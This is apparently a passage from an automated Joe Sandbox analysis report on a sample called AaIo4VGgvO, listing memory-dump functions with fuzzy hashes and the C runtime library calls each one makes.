Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 9A71D473A20B258B8314DEB98D94192F2F1EF84610B57C27DCE85D7B41EB31B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 05DD59F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 1f7cc5b6fc79ded5983188fc1ecbbb0139808f34b5c5af612268af725f254638
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: 188139B2A047019FC328CF19D88566AF7E1FFD8210F15892DE99E83741D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 05DD8E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: e1ba46c44bf60c03d5ea5d93caa6bb49d1b59791ef778fa2949889adb83eb94f
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: 96710622535B7A0AEBC3DA3D881046BF7D0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: 852a0ece14f3bd30327213e73b4d9100f1be7e0fc53bd6295050627b1640c110
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: CD812776A10B669BD754CF2ED8C046AFBF1FB08210B518A2ADCA583B41D334F565CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05DD9120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 58708a4e77d084a74b2639f795b31ed05248847065df4d67eb6902820e9edec7
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 7A61A3339046BB5BDB649E6DD8401A9F7A2BFC4310F5B8A76DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 255717732b50be066553d8875c9cce05e79aadd859804988ff0927700f74f213
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: 69617C3791262B9BD761DF59D84537AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: 63e5dabac5e50bdb647ecf6401b8db64eb139f3c4e40c712b56527e96dd08af5
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: E551DD229257B945EBC3DA3D88504AEBBE0BE49106B460557DCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 0449571C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653647341.0000000004494000.00000040.00000020.00020000.00000000.sdmp, Offset: 04494000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4494000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: b8127a2e0713495838506f9a2b195e60cc89d00223163370b77657373693bf8b
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 11314636806245EFCF16CE60D891AA6BFB0EF86224F2889DED0818B106D2356556E794

Uniqueness

Uniqueness Score: -1.00%

Function 05DD70E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: 6554821c01a8fa3d2f2a7eb05a68a0db1abdec3f1d5c79325b7793689e55f228
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 9C3126306183419FD741EF29C480A5BFBE0FFC8254F41DA5AF98897221D730E984CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DF18D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8a651747b522e78abd6528a3049a9d2aa84ef3e63613aefee5752d50c8d5345a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 4F112977208182C3D60486AED8B45B693D5FBC6220B2F437BD3B34B658D122D141DB80

Uniqueness

Uniqueness Score: -1.00%

Function 05DDB000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 9eb0d746c4bf04be3216c63df409a43d170dbd674bd1ed84af94adf103ca23cc
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: B9114F0A8492C4BDCF424A7840E56EBFFA68E3B218F4A71DAC8C44B743D01B150FE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD0042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a0c667d4b89f8b08d9b17e9ec1244e7f1588fd36b86ba9f8430e65f2fc4cdc94
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: E9117C72340100AFEB54DE65DC98EB6B3EAFB88220B198166E908CB351F676E841C760

Uniqueness

Uniqueness Score: -1.00%

Function 044940A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653647341.0000000004494000.00000040.00000020.00020000.00000000.sdmp, Offset: 04494000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4494000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 40eec5a17181b31bb5a70263c227f382e8e9136aad318d7b97f8c67d1804c0c5
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: B311CE72340100AFDF10CF55DC81FA677EAEB88320B1980AAED08CB316E676EC02C760

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 2171f14de095971ce99d3b8a5c03f15d6e88b3d0eeaa7b279bc14600646ac797
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 92012876810662ABD740DF3EC8C045AFBF1BB082117528B2ADC9083A41D334E662DBE8

Uniqueness

Uniqueness Score: -1.00%

Function 05DF6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05DF644E

Part of subcall function 05DF9636: __calloc_impl.LIBCMT ref: 05DF9645

__calloc_crt.LIBCMT ref: 05DF6472
_free.LIBCMT ref: 05DF6480
__calloc_crt.LIBCMT ref: 05DF648E
_free.LIBCMT ref: 05DF649E
_free.LIBCMT ref: 05DF64A4
__copytlocinfo_nolock.LIBCMT ref: 05DF64B3
__setmbcp_nolock.LIBCMT ref: 05DF64D4
_free.LIBCMT ref: 05DF64E2
___removelocaleref.LIBCMT ref: 05DF64E9
___freetlocinfo.LIBCMT ref: 05DF64F0
_free.LIBCMT ref: 05DF64F6

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 4f620b39587d60cd88a05e8ec2825413131bf58832e8d2c6b0fc893c4861d1b0
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: F021D531708601EEEB317F65DC09E1BBBE5EF41760B53802BE78655AA0EA22C550CB71

Uniqueness

Uniqueness Score: -1.00%

Function 05DF3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05DF3F51

Part of subcall function 05DF5BA8: __getptd_noexit.LIBCMT ref: 05DF5BA8

__gmtime64_s.LIBCMT ref: 05DF3FEA
__gmtime64_s.LIBCMT ref: 05DF4020
__gmtime64_s.LIBCMT ref: 05DF403D
__allrem.LIBCMT ref: 05DF4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DF40AF
__allrem.LIBCMT ref: 05DF40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DF40E4
__allrem.LIBCMT ref: 05DF40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05DF4119
__invoke_watson.LIBCMT ref: 05DF418A

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 7de5515488999a0f605b7696cfb69379a3728b1260caee60c870b281f4091612
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: F371D671B01716BBEB249E69CC44B6BB3B9FF10264F16462BEA54D6680E770DA808790

Uniqueness

Uniqueness Score: -1.00%

Function 05DF650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05DF6547
__calloc_crt.LIBCMT ref: 05DF6598
__lock.LIBCMT ref: 05DF65AE
__copytlocinfo_nolock.LIBCMT ref: 05DF65BF
_wcscmp.LIBCMT ref: 05DF65F9
__lock.LIBCMT ref: 05DF6610
__updatetlocinfoEx_nolock.LIBCMT ref: 05DF6622
___removelocaleref.LIBCMT ref: 05DF6628
__updatetlocinfoEx_nolock.LIBCMT ref: 05DF6647

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 5e404ed1550e3ace9211abaa7ad648af1c3f8b1efb14e2aa37263391254df047
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 3F411532A04304AFDB00AFA4ED48B9E3BE5FF04314F12846FEB1496690DB76D645DB25

Uniqueness

Uniqueness Score: -1.00%

Function 05DF84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05DF84B1
_free.LIBCMT ref: 05DF84E2
_free.LIBCMT ref: 05DF84F5
_free.LIBCMT ref: 05DF8513
_free.LIBCMT ref: 05DF8525
_free.LIBCMT ref: 05DF8536
_free.LIBCMT ref: 05DF8541
_free.LIBCMT ref: 05DF8565
_free.LIBCMT ref: 05DF8581
_free.LIBCMT ref: 05DF8597
_free.LIBCMT ref: 05DF85BF

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: e88781716faf56be41e6af26ee681ced89ded916bc7e2fe266b06208f3079ec8
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 7131B131A00250DBCB21AF54FC8885977B4FB14330746862BEB06573A0CBB459CDEFA6

Uniqueness

Uniqueness Score: -1.00%

Function 05E1FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E1FC1F

Part of subcall function 05E0169C: std::exception::_Copy_str.LIBCMT ref: 05E016B5

__CxxThrowException@8.LIBCMT ref: 05E1FC34
std::exception::exception.LIBCMT ref: 05E1FC4D
__CxxThrowException@8.LIBCMT ref: 05E1FC62
std::regex_error::regex_error.LIBCPMT ref: 05E1FC74

Part of subcall function 05E1F914: std::exception::exception.LIBCMT ref: 05E1F92E

__CxxThrowException@8.LIBCMT ref: 05E1FC82
std::exception::exception.LIBCMT ref: 05E1FC9B
__CxxThrowException@8.LIBCMT ref: 05E1FCB0

Strings

leM, xrefs: 05E1FCA8

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: ab0dce7edc6f4d2bcd60e0b2ae02f9648d309c394bd3b3b3669f7a759ae4b3dd
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 9F11FE79D0020DBBCF04FFA5E859CDDBB7CAA04344F409566AD54AB280EB74E388CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05DDF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05DDF01F

Part of subcall function 05DF1602: __FF_MSGBANNER.LIBCMT ref: 05DF1619
Part of subcall function 05DF1602: __NMSG_WRITE.LIBCMT ref: 05DF1620

_malloc.LIBCMT ref: 05DDF02B
_wprintf.LIBCMT ref: 05DDF03E
_free.LIBCMT ref: 05DDF044
_free.LIBCMT ref: 05DDF065
_malloc.LIBCMT ref: 05DDF06D
_sprintf.LIBCMT ref: 05DDF0C0
_wprintf.LIBCMT ref: 05DDF0D2
_wprintf.LIBCMT ref: 05DDF0DC
_free.LIBCMT ref: 05DDF0E5

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 13b768c1280a9337e8751030d89c077c228639b8877b0a3e5b98611d79915575
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 4511E7B67405546AC26167F59C15FFF7AECDF46711F09006BFB8DD2180DA185A0493B2

Uniqueness

Uniqueness Score: -1.00%

Function 05DE1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DE19C6
__CxxThrowException@8.LIBCMT ref: 05DE19F1
__CxxThrowException@8.LIBCMT ref: 05DE1A1A
__CxxThrowException@8.LIBCMT ref: 05DE1A4B
_memset.LIBCMT ref: 05DE1A6A
__CxxThrowException@8.LIBCMT ref: 05DE1A90
_malloc.LIBCMT ref: 05DE1AA0
_memset.LIBCMT ref: 05DE1AAB
_sprintf.LIBCMT ref: 05DE1ACE

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: c2e7b81a522a980d0532425d4008bb849ce071f653afab51b45235319a4127e9
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: E2510B71E40219ABDB11EBE5DC8AFEFBBB8FB04744F140026FA05B6190E7745A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DDF284
__CxxThrowException@8.LIBCMT ref: 05DDF2AF
__CxxThrowException@8.LIBCMT ref: 05DDF2DE
__CxxThrowException@8.LIBCMT ref: 05DDF30F
_memset.LIBCMT ref: 05DDF32E
__CxxThrowException@8.LIBCMT ref: 05DDF354
_sprintf.LIBCMT ref: 05DDF373

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: d567bc77c1af82fa88392436c20166774b25e8cb5a8a77d0c8e6aed807cad570
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: B85140B1E4020AAADF11DFA1DC46FEEBBB9FB05704F104026F906B6180D775AA05CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DDF4B7
__CxxThrowException@8.LIBCMT ref: 05DDF4E2
__CxxThrowException@8.LIBCMT ref: 05DDF504
__CxxThrowException@8.LIBCMT ref: 05DDF535
_memset.LIBCMT ref: 05DDF554
__CxxThrowException@8.LIBCMT ref: 05DDF57A
_sprintf.LIBCMT ref: 05DDF594

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 071e4257bc784185cb25e2545240aa414108f1db3e96858c4f7bb9b2e23e6b38
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 62514071E40209AADF15DFA1DC85FFEBBB9FB04744F10012AF906B7180E674AA058BB5

Uniqueness

Uniqueness Score: -1.00%

Function 05E1208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E120C6
__invoke_watson.LIBCMT ref: 05E12120
_strlen.LIBCMT ref: 05E120D4

Part of subcall function 05DF5BA8: __getptd_noexit.LIBCMT ref: 05DF5BA8

_strnlen.LIBCMT ref: 05E1215F
__lock.LIBCMT ref: 05E12170
__getenv_helper_nolock.LIBCMT ref: 05E1217B

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: c22b1ee6395c3b76954d0a9eef23ed8fd4ed0f1aeccaa3ac51b05803e715708f
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: CB315B36B043116BEB21AF76DC04BAE3754EF05B68F165112EF46DF280DB74890083B9

Uniqueness

Uniqueness Score: -1.00%

Function 05DE2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DE26DB
_memset.LIBCMT ref: 05DE2A30
_memset.LIBCMT ref: 05DE2AC0

Strings

D, xrefs: 05DE2AC8

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: ec8277efa732cc09819857d5cdae6b7a3e37bf67966dba7dd63488451dd868e6
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 64E16E75D40219EBDF24EBA0CD89FEEB7BCBF04304F14406AE509A6190EB74AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05DDD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DDD8EA

Strings

$, xrefs: 05DDDAE2
, xrefs: 05DDDADB
(, xrefs: 05DDDAE9

Memory Dump Source

